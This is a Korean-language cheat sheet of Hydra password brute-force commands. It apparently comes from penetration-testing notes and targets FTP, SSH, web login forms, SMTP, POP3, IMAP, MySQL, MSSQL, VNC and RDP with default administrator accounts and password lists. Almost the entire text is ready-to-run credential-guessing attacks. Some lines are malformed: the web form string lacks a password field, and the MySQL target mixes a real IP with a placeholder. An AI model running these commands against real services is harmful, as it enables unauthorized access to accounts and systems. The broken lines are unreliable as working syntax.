Hydra

다양한 프로토콜에 대해서 임계값 제한이 없을 때는 브루트포스 공격을 시도할 수 있습니다.

# ftp
hydra -l admin -P /path/to/password_list.txt ftp://<IP>

# ssh 브루트포스
hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100


# web POST 브루트포스
hydra -l <USER> -P <PASS> -f < IP> -s <PORT> http-post-form "/:username=^USER^&^PASS^:F=<틀렸을 때 문구>"

# smtp
hydra -l admin -P /path/to/password_list.txt smtp://mail.server.com

# pop3
hydra -l [e-mail] -P /path/to/password_list.txt pop3://mail.server.com

# IMAP
hydra -l [e-mail] -P /path/to/password_list.txt imap://mail.server.com

# MySQL
hydra -l root -P /path/to/password_list.txt mysql://192.168.1.100<IP>

# MSSQL
hydra -l sa -P /path/to/password_list.txt mssql://<IP>

# vnc
hydra -P /path/to/password_list.txt vnc://<IP>

# RDP
hydra -l admin -P /path/to/password_list.txt rdp://<IP>